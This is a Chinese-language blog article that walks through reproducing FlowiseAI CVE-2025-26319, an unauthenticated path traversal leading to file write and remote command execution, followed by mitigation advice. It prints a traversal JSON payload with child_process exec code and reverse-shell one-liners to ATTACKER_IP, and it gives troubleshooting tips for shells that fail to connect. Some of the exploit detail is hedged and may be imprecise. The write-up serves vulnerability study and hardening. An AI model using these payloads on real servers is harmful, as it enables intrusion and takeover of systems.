当前位置: 首页 > news >正文

FlowiseAI CVE-2025-26319漏洞剖析:从路径遍历到RCE的完整利用链

1. 项目概述与漏洞背景

最近在复现和审计一些开源AI应用框架时,FlowiseAI这个项目进入了我的视野。它是一个基于Node.js的拖拽式LLM应用构建平台,让用户能像搭积木一样组合各种AI模型和工具链,快速生成AI应用。这类低代码/无代码平台因其便捷性,在企业内部快速原型验证和业务部门自助搭建AI工具的场景下越来越流行。然而,便捷性往往与安全性存在一定的张力,开发团队在追求功能迭代速度时,有时会忽视一些基础的安全加固,这就给攻击者留下了可乘之机。CVE-2025-26319正是这样一个典型案例,它暴露了FlowiseAI中一个严重的未授权任意文件写入漏洞,并最终可导致远程命令执行。这个漏洞的利用链非常典型,从接口未授权访问到文件写入,再到命令执行,完整地展示了一个外部输入如何一步步穿透应用层,最终控制服务器。对于安全研究人员和开发人员来说,理解并复现这个漏洞,不仅能帮助我们评估类似框架的风险,更能深刻体会到在快速开发中嵌入安全考量的重要性。

2. 漏洞原理深度剖析

要理解CVE-2025-26319,我们需要先拆解FlowiseAI的架构和问题根源。FlowiseAI的核心是一个Node.js后端服务,提供RESTful API供前端界面调用,用于创建、管理和执行所谓的“Flow”(即由各种节点组成的工作流)。这些节点可能包含调用外部API、处理数据、或者执行系统命令。漏洞的起点在于一个关键的API端点:/api/v1/chatflows的某个特定方法。

2.1 未授权访问的根源

首先来看“未授权”部分。在标准的Web应用中,对于管理功能或敏感操作接口,服务器端必须进行身份验证和授权检查。常见的做法是在路由处理器前添加一个中间件,检查请求头中的JWT令牌或会话Cookie,验证用户是否已登录且拥有相应权限。然而,在受影响版本的FlowiseAI中,对/api/v1/chatflows/{id}/load这个API端点(或其相关变体)的访问控制存在缺失。攻击者无需提供任何有效的认证凭证(如Token),即可直接向该端点发送POST请求。这是第一个致命的安全缺口。为什么这个接口如此敏感?因为它负责加载一个指定的聊天流(Chatflow)配置,而这个配置中可能包含了需要实例化的自定义节点信息,其中就埋下了伏笔。

注意:未授权访问(Unauthorized Access)是许多高危漏洞的“敲门砖”。在代码审查时,务必对每一个新增的API路由进行灵魂拷问:这个接口需要认证吗?所有调用它的前端路由都受到保护了吗?不能仅仅依赖前端隐藏按钮或禁用菜单,服务器端必须进行强制校验。

2.2 任意文件写入的触发路径

当攻击者能够未授权调用load接口后,漏洞利用进入了第二阶段:任意文件写入。关键在于FlowiseAI处理聊天流中“自定义节点”的方式。为了扩展功能,FlowiseAI允许用户开发自己的节点,这些节点通常以JavaScript文件的形式存在。在加载聊天流时,如果配置引用了自定义节点,后端需要读取并可能缓存这些节点的代码文件。

漏洞出现在文件读取和后续处理的逻辑中。攻击者可以在请求中精心构造数据,操控文件读取的路径。通过使用目录遍历序列(如../../../),攻击者可以使应用读取预期目录之外的文件。更危险的是,在某些情况下,FlowiseAI可能会将读取到的文件内容,与聊天流配置数据一起,写入到一个临时文件或某个用于缓存的文件中。而攻击者可以控制写入的目标路径和文件内容。

具体到利用链,攻击者会先利用未授权接口,触发一个加载操作,并在请求体中嵌入恶意构造的“自定义节点”配置。该配置指向一个攻击者可控的路径(如/etc/passwd或服务器上的其他敏感文件),同时可能包含了待写入的恶意内容。由于路径校验不严,后端服务会读取该敏感文件,并将其内容与部分恶意载荷一起,写入到一个由攻击者通过路径遍历指定的位置,例如Web根目录下的某个可访问位置。这就实现了将任意文件内容(包括攻击者准备的Webshell代码)写入到服务器任意可写位置的能力。

2.3 从文件写入到命令执行

在获得任意文件写入能力后,获得命令执行(RCE)就是临门一脚了。在Linux服务器环境下,有多种方式可以实现这一点,而攻击者选择了最直接的一种:写入一个恶意的JavaScript文件到FlowiseAI的“自定义节点”目录中。

FlowiseAI的自定义节点在被执行时,其代码会被动态加载并运行。如果攻击者能够写入一个.js文件到自定义节点目录,并且这个聊天流随后被加载和执行(攻击者可以继续通过未授权接口触发),那么该JS文件中的代码就会在Node.js服务进程的上下文中执行。攻击者只需在写入的JS文件中使用Node.js的child_process模块,即可执行任意系统命令。

例如,写入一个名为malicious-node.js的文件,内容如下:

module.exports = { nodeClass: 'MaliciousNode', async handler() { const { exec } = require('child_process'); exec('id > /tmp/exploited.txt', (error, stdout, stderr) => { // 命令执行结果处理 }); return { success: true }; } };

当这个“节点”被加载和调用时,exec(‘id > /tmp/exploited.txt’)这行代码就会执行,将当前进程的用户ID写入到/tmp/exploited.txt文件中,从而证实命令执行成功。攻击者可以将id命令替换为反弹Shell的命令,从而获得一个交互式的服务器控制权。

3. 漏洞复现环境搭建与配置

纸上得来终觉浅,绝知此事要躬行。要真正理解这个漏洞的细节和危害,最好的办法就是亲手搭建环境进行复现。下面我将详细记录在可控的测试环境(如虚拟机或隔离的Docker容器)中复现CVE-2025-26319的全过程。

3.1 环境准备与目标部署

首先,我们需要一个存在漏洞的FlowiseAI版本。根据漏洞披露信息,该漏洞影响1.4.3之前的版本。我们选择安装1.4.2版本进行复现。

方案一:使用Docker部署(推荐,便于隔离和清理)这是最快捷的方式。确保你的测试机已安装Docker和Docker Compose。

  1. 创建一个工作目录,例如flowise-test
  2. 在该目录下创建docker-compose.yml文件,内容如下:
    version: '3.8' services: flowise: image: flowiseai/flowise:1.4.2 container_name: flowise_cve_test ports: - "3000:3000" environment: - PORT=3000 - DATABASE_PATH=/root/.flowise - FLOWISE_USERNAME=admin # 可设置,但漏洞在于未授权访问,认证可被绕过 - FLOWISE_PASSWORD=admin123 volumes: - flowise_data:/root/.flowise volumes: flowise_data:
  3. 在终端中,进入该目录,执行启动命令:
    docker-compose up -d
  4. 等待片刻,访问http://your-test-ip:3000即可看到FlowiseAI的登录界面。环境部署完成。

方案二:从源码安装如果你想更深入地了解代码结构,可以选择源码安装。

  1. 确保系统已安装Node.js(版本16-18)和npm。
  2. 克隆指定标签的仓库:
    git clone https://github.com/FlowiseAI/Flowise.git cd Flowise git checkout tags/v1.4.2
  3. 安装依赖并启动:
    npm install npm run start
  4. 应用将在http://localhost:3000启动。

实操心得:强烈建议在虚拟机或独立的Docker环境中进行漏洞复现,避免对宿主机或其他服务造成意外影响。使用Docker Compose可以一键启停,方便多次测试。记得在测试结束后运行docker-compose down -v来彻底清除容器和卷。

3.2 漏洞检测与验证

在开始攻击之前,我们先进行简单的探测,确认目标存在未授权访问问题。

  1. 检查服务状态:访问http://target:3000,应能看到FlowiseAI的Web界面。
  2. 探测未授权接口:使用curl或 Burp Suite 等工具,尝试未授权访问load接口。首先,我们需要创建一个聊天流来获取其ID。通常,刚安装的FlowiseAI会有默认示例流。
    • 通过浏览器登录(如果设置了密码),查看网络请求,找到一个调用/api/v1/chatflows的GET请求,响应中会包含聊天流列表及其ID。
    • 假设我们获取到一个ID为test-flow-123
    • 现在,在不携带任何认证Token的情况下,发送POST请求到加载接口:
      curl -X POST http://target:3000/api/v1/chatflows/test-flow-123/load -H "Content-Type: application/json" -d '{}'
    • 如果服务器返回了聊天流的配置信息(而不是401/403错误),那么未授权访问就得到了初步证实。响应可能是一个包含节点、连线等信息的JSON对象。

这个步骤验证了漏洞利用链的第一个环节。如果这里就返回错误,那么后续的利用就无法进行。在实际漏洞挖掘中,这种未授权访问的接口可能通过目录扫描或分析前端JS文件来发现。

4. 漏洞利用过程详细拆解

确认存在未授权访问后,我们就可以着手构造完整的利用链,实现从文件写入到命令执行。下面将分步拆解攻击者的操作。

4.1 构造恶意请求实现文件写入

这是整个利用过程中最需要技巧的一步。我们需要构造一个特殊的POST请求,其载荷能够欺骗FlowiseAI的后端,使其将我们指定的内容写入到我们指定的文件路径。

根据公开的漏洞利用信息(如Exploit-DB或安全研究员的PoC),关键点在于请求体中的chatflow对象配置。攻击者需要构造一个包含恶意“自定义节点”定义的聊天流配置。这个自定义节点的template部分,其filePath属性可以被操控。

一个简化的恶意请求结构可能如下所示(实际PoC可能需要更精细的构造):

{ "chatflow": { "id": "exploit-flow", "name": "恶意流", "nodes": [ { "id": "custom-node-1", "type": "CustomNode", "data": { "template": { "filePath": "../../../../../../tmp/poc.js", "name": "MaliciousNode", "description": "恶意节点", "baseClasses": ["..."], "code": "const { exec } = require('child_process'); exec('touch /tmp/hacked_by_cve_2025_26319'); module.exports = { nodeClass: 'MaliciousNode', async handler() { return {}; } };" } }, "position": { "x": 100, "y": 100 } } ], "edges": [] } }

关键参数解析:

  • filePath: 这里使用了目录遍历../../../../../../tmp/poc.js。目的是让后端在读取或处理这个“节点模板”时,最终操作的目标文件是/tmp/poc.js。路径中..的数量需要根据目标服务器上FlowiseAI的实际安装路径进行调试。
  • code: 这里包含了我们想要写入poc.js文件的恶意JavaScript代码。在这个例子中,代码定义了一个节点模块,并在加载时(或在其handler方法中)执行命令touch /tmp/hacked_by_cve_2025_26319来创建一个标志文件。

攻击者将这个精心构造的JSON作为载荷,发送到未授权的/api/v1/chatflows/{id}/load或类似的配置保存/更新接口(如/api/v1/chatflows的PUT方法)。如果漏洞存在,后端处理逻辑会错误地将code中的内容,写入到filePath指定的位置(/tmp/poc.js)。

注意事项:在实际利用中,filePath的遍历需要精确计算深度。一个技巧是先尝试写入Web目录下的一个可访问文件(如../../../../var/www/html/shell.php),如果成功,可以通过Web直接访问该文件来验证写入是否成功,这比通过命令执行回显更直观。

4.2 触发恶意节点加载与命令执行

成功写入恶意JS文件后,下一步就是触发这个“节点”被执行,从而运行其中的恶意代码。

  1. 确保文件写入成功:首先可以尝试直接访问写入的文件(如果写在Web目录下),或者通过另一个简单的命令执行验证文件是否存在(如果后续步骤失败,需要先回溯这一步)。例如,如果写入路径是/tmp/poc.js,在Linux上可以通过另一个漏洞或功能尝试执行ls -la /tmp/poc.js来检查。

  2. 触发节点执行:在FlowiseAI中,节点执行通常发生在聊天流被“运行”时。攻击者可以再次利用未授权接口,调用触发聊天流执行的端点。这可能是一个指向/api/v1/chatflows/{id}/run/api/v1/prediction/{id}的POST请求。

    构造一个执行请求,其内容指向包含我们恶意节点的聊天流。当这个请求被处理时,FlowiseAI会加载聊天流配置,实例化其中的节点,包括我们写入的恶意自定义节点。在实例化过程中,poc.js文件中的代码会被requireeval执行,从而导致内嵌的exec(‘touch /tmp/hacked_by_cve_2025_26319’)命令在服务器上运行。

  3. 验证命令执行:攻击者检查命令是否成功执行。在上述例子中,可以检查/tmp/hacked_by_cve_2025_26319这个文件是否被创建。如果创建成功,则证明远程命令执行漏洞利用成功。

4.3 获取交互式Shell(进阶利用)

创建文件只是证明概念,真正的攻击目标是获取服务器的控制权。攻击者会将touch命令替换为反弹Shell的命令。

  1. 准备反弹Shell载荷:攻击者在自己控制的服务器上监听一个端口,例如nc -lvnp 4444
  2. 修改恶意代码:将写入的JS文件中的命令改为反弹Shell命令。Node.js中反弹Shell的方法有很多,一种常见的方式是:
    const { exec } = require('child_process'); exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');
    ATTACKER_IP替换为攻击者服务器的真实IP地址。
  3. 重新写入文件并触发:重复4.1和4.2的步骤,写入新的恶意JS文件并触发执行。
  4. 接收Shell:如果服务器出网不受限制,且命令执行成功,攻击者将在他的监听端口中收到一个来自目标服务器的反向Shell连接,从而获得一个交互式的命令行界面,可以执行任意命令。

至此,一个完整的从未授权访问到远程命令执行的攻击链就完成了。攻击者从一个完全外部的身份,最终获得了服务器最高权限(Node.js进程权限)的控制能力。

5. 漏洞修复方案与安全加固建议

复现漏洞是为了更好地防御。对于使用FlowiseAI的团队或个人开发者,以及开发类似Node.js应用的同行,可以从这个漏洞中学到以下几点至关重要的安全经验。

5.1 官方修复与升级

FlowiseAI开发团队在接到漏洞报告后,迅速发布了修复版本。最根本、最有效的修复方案就是立即升级到最新安全版本。对于CVE-2025-26319,应升级到1.4.3或更高版本。升级前,请务必备份你的流程数据和配置。

修复的核心思路通常包括:

  1. 强制身份验证:对所有管理接口和敏感操作接口(如加载、保存、执行聊天流)添加严格的认证中间件。确保每一个API请求都经过有效的JWT令牌或会话验证。
  2. 输入验证与路径规范化:对用户提供的文件路径参数进行严格校验。禁止路径中出现..等目录遍历字符。使用绝对路径时,应将其规范化为基于安全基础目录(如自定义节点专用目录)的相对路径,并检查最终路径是否仍在允许的目录范围内。
  3. 沙箱隔离:对于动态加载并执行用户自定义代码(如JS节点)的功能,考虑在沙箱环境中运行。Node.js中可以使用vm模块(但需注意其局限性)或更彻底的方案,如将自定义节点功能放到一个拥有严格权限限制的独立子进程中执行。

5.2 临时缓解措施

如果因故无法立即升级,可以考虑以下临时缓解措施,以降低风险:

  • 启用并强化认证:确保FlowiseAI的认证功能被强制开启,并为所有用户设置强密码。检查是否所有敏感API都已受到保护。
  • 网络层隔离:不要将FlowiseAI服务直接暴露在公网。将其部署在内网,并通过VPN或跳板机进行访问。如果必须对外提供,应置于反向代理(如Nginx)之后,并配置严格的IP白名单或额外的HTTP Basic认证。
  • 最小权限原则:运行FlowiseAI的进程(如Node.js进程)应使用一个专用的、低权限的系统用户,而不是root。确保该用户对应用目录只有必要的读写权限,对系统关键目录(如/etc,/bin)没有写权限。这可以在即使发生RCE时,限制攻击者造成的破坏范围。
  • 文件系统监控:部署文件完整性监控(FIM)工具,监控FlowiseAI应用目录、临时目录以及Web根目录下是否有异常的新增或修改文件,特别是.js,.jsp,.php等可执行脚本文件。

5.3 对开发者的通用安全启示

CVE-2025-26319是一个教科书式的漏洞链,给所有开发者敲响了警钟:

  • 默认拒绝:安全设计应遵循“默认拒绝”原则。任何新的API端点,在明确其访问权限前,都应默认设置为需要认证。显式地定义公共接口,其他所有接口默认为私有。
  • 永不信任用户输入:这是安全领域的金科玉律。所有来自客户端的数据——URL参数、请求头、请求体(JSON/FormData)、文件上传的元数据——都必须被视为不可信的,必须进行严格的验证、过滤和转义。对于文件路径,必须进行规范化并检查是否越界。
  • 深度防御:不要依赖单一的安全措施。结合使用网络ACL、应用层认证、输入校验、输出编码、最小权限运行等多层防护,即使一层被突破,其他层仍能提供保护。
  • 定期安全审计与依赖检查:对自研代码进行定期的安全代码审查,特别是处理文件、命令、数据库查询和网络通信的模块。同时,使用工具(如npm audit,snyk)检查第三方依赖库的已知漏洞,并及时更新。

6. 漏洞复现中的常见问题与排查技巧

在亲手复现这类漏洞时,你可能会遇到各种问题。下面我总结了一些常见坑点和排查思路,希望能帮你少走弯路。

问题1:发送未授权请求后,返回403 Forbidden或401 Unauthorized。

  • 可能原因:目标FlowiseAI版本可能已修复了未授权漏洞,或者部署时配置了全局反向代理认证。
  • 排查技巧
    • 确认目标版本号。访问/api/v1/version或查看登录页面源代码,确认是否为1.4.3以下版本。
    • 使用浏览器开发者工具,登录后查看正常“加载聊天流”请求的完整URL和端点路径,确保你测试的API路径完全正确。有时路径可能是/api/v1/chatflows/load而非/api/v1/chatflows/{id}/load
    • 尝试寻找其他可能未授权的接口,如/api/v1/variables(环境变量接口) 或/api/v1/credentials(凭证接口),这些有时也存在类似问题。

问题2:文件写入似乎成功了,但恶意命令没有执行。

  • 可能原因
    1. 写入的JS文件存在语法错误,导致Node.js加载失败。
    2. 写入的路径不对,自定义节点加载器找不到该文件。
    3. 恶意代码所在的函数(如handler)没有被正确触发。
    4. 服务器存在安全软件(如HIPS)拦截了命令执行行为。
  • 排查技巧
    • 语法检查:将你准备写入的code字段内容,单独保存为一个.js文件,用node -c命令检查语法是否正确。
    • 路径验证:尝试写入一个包含简单日志输出的JS文件,如console.log(‘Loaded!’)require(‘fs’).writeFileSync(‘/tmp/debug.log’, ‘test’)。先确认文件能被成功加载和执行。
    • 执行触发点:仔细分析FlowiseAI自定义节点的生命周期。恶意代码是放在模块顶层(立即执行),还是放在inithandler等方法中?确保你的触发请求能调用到包含恶意代码的函数。有时需要构造一个能连接到该恶意节点的合法工作流并触发执行。
    • 命令回显:在测试命令时,优先使用有明确回显且无害的命令,如whoami > /tmp/test.txtecho ‘test’ > /tmp/test.txt。通过检查输出文件来确认命令是否执行,比使用反弹Shell这种需要网络联通的命令更可靠。

问题3:反弹Shell无法连接。

  • 可能原因
    1. 目标服务器出网受限(防火墙策略)。
    2. 攻击者服务器防火墙未开放监听端口。
    3. 反弹Shell命令的语法或参数在目标环境(如Alpine Linux容器)中不兼容。
    4. Node.js的child_process.exec环境与交互式Shell环境不同。
  • 排查技巧
    • 网络测试:先在目标服务器上尝试执行curl ATTACKER_IP:4444nc -zv ATTACKER_IP 4444,测试网络连通性。
    • 命令兼容性:使用更通用的反弹Shell命令。对于/bin/bash不存在的环境(如精简版Docker镜像),可以尝试使用/bin/sh
      sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
      或者使用Python、Perl、PHP等语言编写反弹Shell,看目标系统支持哪种解释器。
    • 使用更稳定的工具:考虑使用socatmsfvenom生成更稳定的反向Shell载荷。对于Node.js环境,也可以编写一个简单的TCP客户端脚本写入JS文件,实现反向连接。

问题4:漏洞复现成功,但想深入分析漏洞代码定位点。

  • 排查技巧
    • 代码搜索:在FlowiseAI源码中,搜索与filePathloadchatflows相关的路由定义和控制器代码。重点关注packages/server/src/目录下的内容。
    • 动态调试:在测试环境启动FlowiseAI时,使用npm run devnode --inspect启动,配合Chrome DevTools或VSCode进行远程调试。在疑似存在漏洞的文件读写函数处设置断点,单步跟踪攻击载荷的处理流程,观察路径是如何被拼接和校验的。
    • 日志分析:启用FlowiseAI的详细日志,查看攻击请求触发了哪些后台操作。这有助于理解整个调用链。

复现一个漏洞不仅仅是运行一段攻击代码,更重要的是理解其背后的成因、利用条件以及防御方法。通过亲手搭建、攻击、排查、分析,你对这类路径遍历导致RCE漏洞的理解会深刻得多。在未来的代码开发和审计工作中,你会自然而然地警惕那些处理用户可控文件路径的函数,这才是安全研究和实战复现最大的价值。

http://www.jsqmd.com/news/1089076/

相关文章:

  • 企业级ASP.NET应用命令注入漏洞深度剖析与实战复现
  • UE4SS终极配置指南:打造专属游戏Mod环境一次搞定
  • AI工程师必备的7个思维齿轮:从概念到工程落地
  • ZYNQ PS与PL高效数据流:DMA驱动的Streaming接口实战
  • Prometheus进阶查询实战:从运算符到子查询的深度解析
  • 终极窗口置顶神器:AlwaysOnTop让多任务处理效率翻倍
  • macOS微信防撤回终极指南:技术原理与完整部署教程
  • 混元3.0智能体架构解析:从Prompt工程到Agent架构师的范式跃迁
  • 现代 LLM 的核心架构设计其四:GQA
  • 龙邱树莓派扩展板电路解析与智能车模实验指南
  • 魔兽争霸III终极优化指南:三步解决宽屏适配与性能提升的完整方案
  • GPT-4的2%参数激活真相:MoE稀疏路由与硬件协同机制解析
  • 基于浮空飞艇的广域穿云全域感知、虚实孪生建模重构及自愈合宽带专网融合指挥系统技术方案
  • 软考冲刺阶段最危险的7种伪努力,第4种正在悄悄毁掉你的通过率——附21天纠偏训练表
  • 终极窗口置顶指南:如何用AlwaysOnTop让重要窗口永不消失
  • OneMore:160+功能扩展,让OneNote成为您的全能笔记中心
  • 高性能图像识别自动化框架:MaaFramework的零依赖架构设计与跨平台实现
  • 【GNSS】从地心到星体:多坐标系协同定位的工程实践
  • 告别网络壁垒:手把手部署nfs-subdir-external-provisioner离线镜像全攻略
  • 从LTP到BRINT:LBP改进算法的演进之路与实战选型
  • 如何用XXMI启动器一站式管理所有热门二次元游戏模组:完整指南
  • 双系统时间同步:从BIOS时区差异到Ubuntu与Windows 11的协同校准
  • 微信数据恢复终极指南:3步解密你的珍贵聊天记录
  • GEC6818开发板:从核心特性到多领域应用实战解析
  • 终极Sketch设计标注工具:Sketch MeaXure完整使用指南
  • 面试官灵魂拷问:如何用 C++ 线程池避免死锁?大部份人答不上来!
  • 2026潮州黄金回收白银回收铂金回收旧料回收怎么选?五家高实价铂金白银线下门店测评清单 + 联系方式
  • 微信小程序自动化反编译与实时监控打包方案
  • 你的聊天记录被“锁“起来了?三分钟解锁微信数据库的实用指南
  • 更换 Kingbase V9 License 踩坑记